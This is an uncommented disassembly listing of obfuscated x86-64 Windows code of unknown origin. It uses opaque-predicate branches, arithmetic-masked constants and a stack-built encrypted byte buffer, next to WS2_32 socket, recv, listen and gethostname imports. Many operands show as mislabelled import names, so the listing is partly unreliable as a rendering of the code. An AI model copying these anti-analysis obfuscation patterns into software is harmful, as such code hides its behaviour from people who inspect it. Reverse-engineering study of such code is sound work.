cmp r10, r9
ja 0x14014cb2a
lea rax, [r10 + 4]
cmp rdi, rax
jae 0x14014c001
movabs rdx, 0xe621106c29a91096
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x1a
add bl, dl
jmp 0x14014c035
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014c967
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014c945
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014c916
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014c902
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14014c5aa
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14014c589
lea rax, [r10 + 0x200]
cmp rdi, rax
je 0x14014c563
lea rax, [r10 + 0x2a]
cmp rdi, rax
je 0x14014c540
lea rax, [r10 + 9]
cmp rdi, rax
je 0x14014c52c
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014c50a
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14014c4e7
lea rax, [r10 + 0x41]
cmp rdi, rax
je 0x14014c4c3
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14014c4a0
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014c47a
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14014c042
lea rdi, [r10 + 0x200]
lea r10, [rdi + 0x28]
lea rax, [r10 + 0x80]
cmp rdi, rax
jb 0x14014cb04
lea rax, [r10 + 0x5a]
cmp rdi, rax
jb 0x14014cade
lea rax, [r10 + 8]
cmp rdi, rax
jb 0x14014c23f
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14014c219
lea rax, [r10 + 0x42]
cmp rdi, rax
jb 0x14014c1f7
lea rax, [r10 + 0x7a]
cmp rdi, rax
jb 0x14014c456
lea rax, [r10 + 5]
cmp rdi, rax
jb 0x14014c3c9
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14014c3ab
lea rax, [r10 + 0x28]
cmp rdi, rax
jb 0x14014c37d
lea rax, [r10 + 0x1000]
cmp rdi, rax
jb 0x14014c042
lea rdi, [r10 + 0x64]
lea r10, [rdi + 0x400]
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14014c369
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14014c347
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14014c325
lea rax, [r10 + 0x40]
cmp rdi, rax
ja 0x14014c2ff
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14014c2dc
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14014c2bb
lea rax, [r10 + 3]
cmp rdi, rax
ja 0x14014c299
lea rax, [r10 + 0x20]
cmp rdi, rax
ja 0x14014c276
lea rax, [r10 + 0x400]
cmp rdi, rax
ja 0x14014c262
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14014c042
lea rdi, [r10 + 0x7a]
lea r10, [rdi + 1]
jmp 0x14014c042
movabs rcx, 0x7954c208e2fd862a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x26
jmp 0x14014c035
movabs rdx, 0xc4f015cdd2d50aae
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014bfcf
movabs rdx, 0x108b6992c2ac8f32
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5e
add bl, dl
jmp 0x14014bf5e
movabs rdx, 0x310883614d4884b0
mov ecx, Ordinal_27
jmp 0x14014c994
movabs rcx, 0x7ca3d7263d200934
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6c
jmp 0x14014c9ca
movabs rcx, 0xc83f2aeb2cf78db8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 8
jmp 0x14014c9f0
movabs rdx, 0x13da7eb01ccf123c
mov ecx, reloc.WLDAP32.dll_Ordinal_46
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x14014c8a5
movabs rcx, 0x5f75d2750ca696c0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r15b
jmp 0x14014c8d4
movabs rdx, 0xab112639fc7e1b44
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014c933
movabs rcx, 0xf6ac79feec559fc8
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x78
jmp 0x14014ca19
movabs rcx, 0x4247cdc3dc2d244c
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x14
jmp 0x14014ca73
movabs rdx, 0x8de32188cc04a8d0
mov ecx, Ordinal_41
jmp 0x14014c489
movabs rdx, 0x4ae772f5239f741a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
mov byte [rbp + r9 + 0x780], bl
jmp 0x14014cad6
movabs rdx, 0x9682c6ba1376f89e
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x52
jmp 0x14014c41f
movabs rdx, 0xe21e1a7f034e7d22
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 9
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
cmp rdi, r15
jae 0x14014c884
lea rax, [r10 + 0x200]
cmp rdi, rax
jbe 0x14014c7c4
movabs rdx, 0xe41f9575967bc6dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 0x1000
jb 0x14014c39e
movabs rdx, 0xf00e4fc4381099b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x14014c9a6
movabs rdx, 0x2db96e43f32601a6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_60
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14014c5cf
movabs rdx, 0x64c66288f9f66384
mov ecx, reloc.WLDAP32.dll_Ordinal_50
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014cac7
movabs rdx, 0xb061b64de9cde808
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x38
add bl, dl
jmp 0x14014ca73
movabs rdx, 0xfbfd0a12d9a56c8c
mov ecx, reloc.WLDAP32.dll_Ordinal_22
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
jmp 0x14014ca17
movabs rcx, 0x47985dd7c97cf110
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x70
jmp 0x14014c933
movabs rcx, 0x9333b19cb9547594
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0xc
jmp 0x14014c8d4
movabs rdx, 0xdecf0561a92bfa18
mov ecx, Ordinal_46
jmp 0x14014c2ca
movabs rcx, 0x2a6a592699037e9c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x44
jmp 0x14014c9f0
movabs rdx, 0x7605aceb88db0320
add rdx, r9
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014c9ca
movabs rdx, 0xc1a100b078b287a4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x14014c9a4
lea rax, [r10 + 8]
cmp rdi, rax
jae 0x14014c612
movabs rdx, 0xda32561d88143dbe
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x32
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 6
je 0x14014c8d9
lea rax, [r10 + 0x10]
cmp rdi, rax
jbe 0x14014c6f7
movabs rdx, 0xfdfe85096cd2b646
add rdx, r9
mov al, r8b
and al, dl
mov ecx, ntohl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014c3ea
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014c63e
movabs rcx, 0xcc4220d85352212c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x14014cac7
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014c66b
movabs rdx, 0x350b794e73a31824
add rdx, r9
mov al, dl
and al, r8b
mov ecx, r14d
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014ca19
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014c69a
movabs rdx, 0x9dd4d1c493f40f1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014c8d4
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014c6c4
movabs rdx, 0x52397dffa41c8a98
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x14014c8a8
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014c5d1
movabs rdx, 0xbb02d675c46d8190
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 8
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014c9ca
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014c721
movabs rdx, 0xb26331447cfb31c2
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x4e
jmp 0x14014c9a4
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014c74b
movabs rdx, 0xcf9135f5ad74a436
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7a
jmp 0x14014c8a8
lea rax, [r10 + 4]
cmp rdi, rax
jne 0x14014c768
movabs rdx, 0x83f5e230bd9d1fb2
mov ecx, reloc.WS2_32.dll_recvfrom
jmp 0x14014c683
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014c794
movabs rcx, 0x385a8e6bcdc59b2e
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x42
jmp 0x14014c933
lea rax, [r10 + 6]
cmp rdi, rax
jne 0x14014c3ea
movabs rcx, 0x5588931cfe3f0da2
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x6e
jmp 0x14014cac7
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014c7f0
movabs rcx, 0x988441b0a6a44258
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x14014cac7
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x14014c81a
movabs rdx, 0x14d9a26c6f53950
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x14014ca17
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x14014c837
movabs rdx, 0x6a16f29ce7463048
mov ecx, 4
jmp 0x14014c683
lea rax, [r10 + 7]
cmp rdi, rax
jne 0x14014c854
movabs rdx, 0xd2e04b1307972740
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14014c9de
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x14014c421
movabs rcx, 0x8744f74e17bfa2bc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x14014c9ca
movabs rdx, 0xa472fbff48391530
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x780]
sub bl, al
sub bl, 0x50
add bl, r8b
add bl, dl
movabs rdx, 0x7ea5521cd04d52ee
add rdx, r9
mov al, dl
and al, r8b
mov ecx, 0x3f
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x780], cl
add rdi, r10
jmp 0x14014c933
movabs rdx, 0x58d7a83a586190ac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x780]
jmp 0x14014c4df
movabs rdx, 0xd4e1c6099ac470fa
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x14014c4d2
movabs rcx, 0x207d19ce8a9bf57e
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x72
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14014cad6
movabs rcx, 0x34f151d5a22830a
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x46
jmp 0x14014c9f0
movabs rdx, 0x9a85bca739d18c12
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7e
jmp 0x14014c9a4
movabs rdx, 0x31bc64311980951a
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
movabs rcx, 0xca40a5e1c024d772
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x1e
add cl, r8b
mov byte [rbp + r9 + 0x780], cl
add r10, rsi
jmp 0x14014c9f0
movabs rdx, 0xc8f30bbaf92f9e22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
sub r9, rsi
jmp 0x14014cad6
mov r8, r11
movabs rdx, 0xf7605aceb88db032
add rdx, r9
mov al, dl
and al, r11b
add al, al
mov bl, r11b
sub bl, al
sub bl, 0x5e
add bl, dl
movabs rdx, 0x3309fe57e075ce6a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x780], al
add r10, rsi
add rax, r10
sub r9, rax
jmp 0x14014ca73
movabs rdx, 0x42fbae93a86534b6
add rdx, r9
mov al, r11b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
mov r8b, r11b
movabs rcx, 0xd3c5475688a0c28
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
sub cl, 0x18
add cl, r8b
mov byte [rbp + r9 + 0x780], cl
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x14014cac7
movabs rdx, 0x8e970258983cb93a
add rdx, r9
mov al, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r11b
movzx eax, byte [rbp + r9 + 0x780]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x14014bf4c
movabs rdx, 0x5c26bd57b28413b6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014bf49
movabs rdx, 0xa7c2111ca25b983a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014bf39
lea rdx, [rbp + 0x1598328]
jmp 0x14014cb43
lea rdx, [rbp + 0x16dc0e6]
jmp 0x14014cb43
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x4e0]
call fcn.1400ca428
mov rbx, rax
mov qword [rsp + 0x58], rax
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1fd0]
call sub.VCRUNTIME140.dll_memset
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x14014cb78
mov rdx, qword [rbx]
mov dword [rsp + 0x20], esi
mov r9d, r15d
mov r8d, r14d
lea rcx, [rbp + 0x1fd0]
call fcn.1400ca2f0
nop
lea rcx, [rbp + 0x1fd0]
call fcn.1401aa1b8
nop
lea rcx, [rbp + 0x1fd0]
call fcn.14008b580
nop
mov rcx, rbx
call fcn.140091e30
mov byte [rbp + 0xd90], 0xe3
mov byte [rbp + 0xd91], 0xad
mov byte [rbp + 0xd92], 0xec
mov byte [rbp + 0xd93], 0xab
mov byte [rbp + 0xd94], recv
mov byte [rbp + 0xd95], 0xa9
mov byte [rbp + 0xd96], reloc.WLDAP32.dll_Ordinal_45
mov byte [rbp + 0xd97], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0xd98], 0x3d
mov byte [rbp + 0xd99], __WSAFDIsSet
mov byte [rbp + 0xd9a], r13b
mov byte [rbp + 0xd9b], __WSAFDIsSet
mov byte [rbp + 0xd9c], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xd9d], __WSAFDIsSet
mov byte [rbp + reloc.WS2_32.dll_listen9e], 0xd
mov byte [rbp + 0xd9f], 0x9f
mov byte [rbp + 0xda0], 7
mov byte [rbp + 0xda1], 0x9d
mov byte [rbp + 0xda2], 5
mov byte [rbp + 0xda3], 0x9b
mov byte [rbp + 0xda4], reloc.WLDAP32.dll_Ordinal_60
mov byte [rbp + 0xda5], 0x99
mov byte [rbp + 0xda6], Ordinal_46
mov byte [rbp + 0xda7], 0x87
mov r12d, reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0xda8], r12b
mov byte [rbp + 0xda9], 0x85
mov byte [rbp + 0xdaa], Ordinal_217
mov byte [rbp + 0xdab], 0x83
mov byte [rbp + 0xdac], 0x3d
mov byte [rbp + 0xdad], 0x81
mov byte [rbp + 0xdae], Ordinal_50
mov byte [rbp + 0xdaf], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0xdb0], Ordinal_46
mov byte [rbp + 0xdb1], Ordinal_143
mov byte [rbp + 0xdb2], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0xdb3], Ordinal_143
mov byte [rbp + 0xdb4], reloc.WLDAP32.dll_Ordinal_33
mov byte [rbp + 0xdb5], Ordinal_143
mov byte [rbp + 0xdb6], 0x64
mov byte [rbp + 0xdb7], 0xf7
mov byte [rbp + 0xdb8], 0x5c
mov byte [rbp + 0xdb9], 0xf5
mov byte [rbp + 0xdba], 0x62
mov byte [rbp + 0xdbb], 0xf3
mov byte [rbp + 0xdbc], 0xaa
mov byte [rbp + 0xdbd], 0xf1
mov byte [rbp + 0xdbe], 0xa2
mov byte [rbp + 0xdbf], 0xff
mov byte [rbp + 0xdc0], 0xae
mov byte [rbp + 0xdc1], 0xfd
mov byte [rbp + 0xdc2], 0x57
mov byte [rbp + 0xdc3], 0xfb
mov byte [rbp + 0xdc4], 0x60
mov byte [rbp + 0xdc5], 0xf9
mov byte [rbp + 0xdc6], Ordinal_79
mov byte [rbp + 0xdc7], 0xe7
mov byte [rbp + 0xdc8], 0xb6
mov byte [rbp + 0xdc9], 0xe5
mov byte [rbp + 0xdca], 0x77
mov byte [rbp + 0xdcb], 0xe3
mov byte [rbp + 0xdcc], 0x7d
mov byte [rbp + 0xdcd], 0xe1
mov byte [rbp + 0xdce], 0x47
mov byte [rbp + 0xdcf], 0xef
mov byte [rbp + 0xdd0], 0xec
mov byte [rbp + 0xdd1], 0xed
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0xdd2], xmm0
mov qword [rbp + 0xde2], rax
mov byte [rbp + 0xdea], al
mov bl, byte [rsp + 0x50]
call fcn.1401abe8c
mov rdi, qword [rax]
call fcn.1401abe94
mov r10, qword [rax]
mov r9, r13
cmp r9, 0x5b
jae 0x14014d966
movzx r8d, byte [rbp + r9 + 0xd90]
mov r11, r8
cmp rdi, r9
ja 0x14014d95d
lea rax, [r10 + 1]
cmp rdi, rax
jae 0x14014cdff
movabs rcx, 0xfa317cbfea226b1a
add rcx, r9
mov rax, rcx
and rax, r8
imul rbx, rax, 0xfffffffffffffffe
add rbx, rcx
add rbx, r8
add bl, 0x4a
jmp 0x14014ce39
je 0x14014d8d6
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014d849
lea rax, [r10 + 4]
cmp rdi, rax
je 0x14014d813
lea rax, [r10 + 6]
cmp rdi, rax
je 0x14014d7c9
lea rax, [r10 + 2]
cmp rdi, rax
je 0x14014d7a0
cmp r10, r9
ja 0x14014d954
lea rax, [r10 + 0x7a]
cmp rdi, rax
jae 0x14014ce5f
movabs rdx, 0x860f3bbe34d2c922
mov ecx, 9
jmp 0x14014d046
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014d75a
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014d73a
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014d717
lea rax, [r10 + 7]
cmp rdi, rax
je 0x14014d6f4
lea rax, [r10 + rdi]
cmp rax, r9
jbe 0x14014d3a7
lea rax, [r10 + 0x64]
cmp rdi, rax
je 0x14014d386
lea rax, [r10 + 0x40]
cmp rdi, rax
je 0x14014d360
lea rax, [r10 + 0x20]
cmp rdi, rax
je 0x14014d33d
lea rax, [r10 + 0xa]
cmp rdi, rax
je 0x14014d31c
lea rax, [r10 + 8]
cmp rdi, rax
je 0x14014d308
lea rax, [r10 + 5]
cmp rdi, rax
je 0x14014d2e5
lea rax, [r10 + 3]
cmp rdi, rax
je 0x14014d2d1
lea rax, [r10 + 1]
cmp rdi, rax
je 0x14014d2b0
lea rax, [r10 + 0x5a]
cmp rdi, rax
je 0x14014d28a
lea rax, [r10 + 0x7a]
cmp rdi, rax
je 0x14014cea0
lea rdi, [r10 + 0x61]
lea r10, [rdi + 0x1000]
lea rax, [r10 + 0x400]
cmp rdi, rax
jb 0x14014d931
lea rax, [r10 + 0x200]
cmp rdi, rax
jb 0x14014d90b
lea rax, [r10 + 6]
cmp rdi, rax
jb 0x14014d080
lea rax, [r10 + 4]
cmp rdi, rax
jb 0x14014d05d
lea rax, [r10 + 2]
cmp rdi, rax
jb 0x14014d037
lea rax, [r10 + 0x2a]
cmp rdi, rax
jb 0x14014d269
lea rax, [r10 + 0x41]
cmp rdi, rax
jb 0x14014d20f
lea rax, [r10 + 0x61]
cmp rdi, rax
jb 0x14014d1c0
lea rdi, [r10 + 0x80]
lea r10, [rdi + 0x64]
lea rax, [r10 + 0x42]
cmp rdi, rax
ja 0x14014d19d
lea rax, [r10 + 0x28]
cmp rdi, rax
ja 0x14014d17c
lea rax, [r10 + 0x10]
cmp rdi, rax
ja 0x14014d168
lea rax, [r10 + 9]
cmp rdi, rax
ja 0x14014d145
lea rax, [r10 + 6]
cmp rdi, rax
ja 0x14014d131
lea rax, [r10 + 4]
cmp rdi, rax
ja 0x14014d110
lea rax, [r10 + 2]
cmp rdi, rax
ja 0x14014d0ea
lea rax, [r10 + 0x2a]
cmp rdi, rax
ja 0x14014d0c7
lea rax, [r10 + 0x41]
cmp rdi, rax
ja 0x14014d0a6
lea rax, [r10 + 0x61]
cmp rdi, rax
ja 0x14014cea0
lea rdi, [r10 + 0x1000]
lea r10, [rdi + 0x400]
jmp 0x14014cea0
movabs rdx, 0xd8debc3420b0271e
mov ecx, reloc.WS2_32.dll_socket
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014ce93
movabs rdx, 0xe47bc2b44c6b50ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x66
add bl, dl
jmp 0x14014ce39
movabs rdx, 0xf018c93478267ab6
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 3
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014cdc8
movabs rdx, 0x3079ddf1a6964910
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x70
jmp 0x14014d776
movabs rcx, 0x3c16e471d25172dc
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 4
jmp 0x14014d7be
movabs rdx, 0x47b3eaf1fe0c9ca8
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0x34
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014d7c1
movabs rdx, 0x5350f17229c7c674
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x2c
jmp 0x14014d7e5
movabs rdx, 0x5eedf7f25582f040
mov ecx, reloc.WLDAP32.dll_Ordinal_32
jmp 0x14014d822
movabs rcx, 0x6a8afe72813e1a0c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x54
jmp 0x14014d837
movabs rdx, 0x762804f2acf943d8
mov ecx, recv
jmp 0x14014d451
movabs rdx, 0x81c50b72d8b46da4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x7c
jmp 0x14014d710
movabs rcx, 0x8d6211f3046f9770
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x10
jmp 0x14014d8f4
movabs rdx, 0xb607a8b39d7ea9ba
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
add bl, dl
sub bl, r12b
cmp r10, 0x41
jb 0x14014d68f
movabs rdx, 0xafb7b47749b6ac5c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea ebx, [rcx*2 - 8]
jmp 0x14014d778
movabs rdx, 0xc1a4af33c939d386
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_46
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
cmp rdi, 3
jae 0x14014d69c
lea rcx, [r10 + 2]
cmp rdi, rcx
jbe 0x14014d5d4
movabs rcx, 0x23d9f578ff064e54
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x4c
jmp 0x14014d1de
movabs rdx, 0xcd41b5b3f4f4fd52
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x3e
jmp 0x14014d3cf
movabs rdx, 0x245b66753cf0b6cc
add rdx, r9
mov al, r8b
and al, dl
mov ecx, gethostname
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014d8f4
movabs rdx, 0x2ff86cf568abe098
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x28
jmp 0x14014d710
movabs rdx, 0x3b95737594670a64
mov ecx, Ordinal_35
jmp 0x14014d451
movabs rcx, 0x473279f5c0223430
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x50
jmp 0x14014d837
movabs rdx, 0x52cf8075ebdd5dfc
mov ecx, reloc.WS2_32.dll_ntohl
jmp 0x14014d822
movabs rdx, 0x5e6c86f6179887c8
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x78
jmp 0x14014d7e5
movabs rcx, 0x6a098d764353b194
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0xc
jmp 0x14014d7c1
movabs rdx, 0x75a693f66f0edb60
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014d7be
movabs rdx, 0x81439a769aca052c
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x34
jmp 0x14014d776
lea rcx, [r10 + 2]
cmp rdi, rcx
jae 0x14014d40e
movabs rdx, 0xfa317cbfea226b1a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
lea rax, [r10 + rdi]
cmp rax, 0x5a
je 0x14014d6ca
lea rax, [r10 + 0x41]
cmp rdi, rax
jbe 0x14014d4f1
movabs rcx, 0x9dcab9baca338532
add rcx, r9
mov al, cl
and al, r8b
add al, al
sub cl, al
lea ebx, [r8 + rcx]
sub bl, 0x5e
jmp 0x14014d230
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x14014d43d
movabs rdx, 0xc1e777c69a59244
mov ecx, reloc.WS2_32.dll_select
add rdx, r9
mov al, dl
and al, r8b
sub cl, al
lea ebx, [rcx + rcx]
add bl, dl
add bl, r8b
jmp 0x14014d8f4
cmp rdi, rcx
jne 0x14014d468
movabs rdx, 0xf4e46a7c122f3eac
mov ecx, Ordinal_41
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x14014d86d
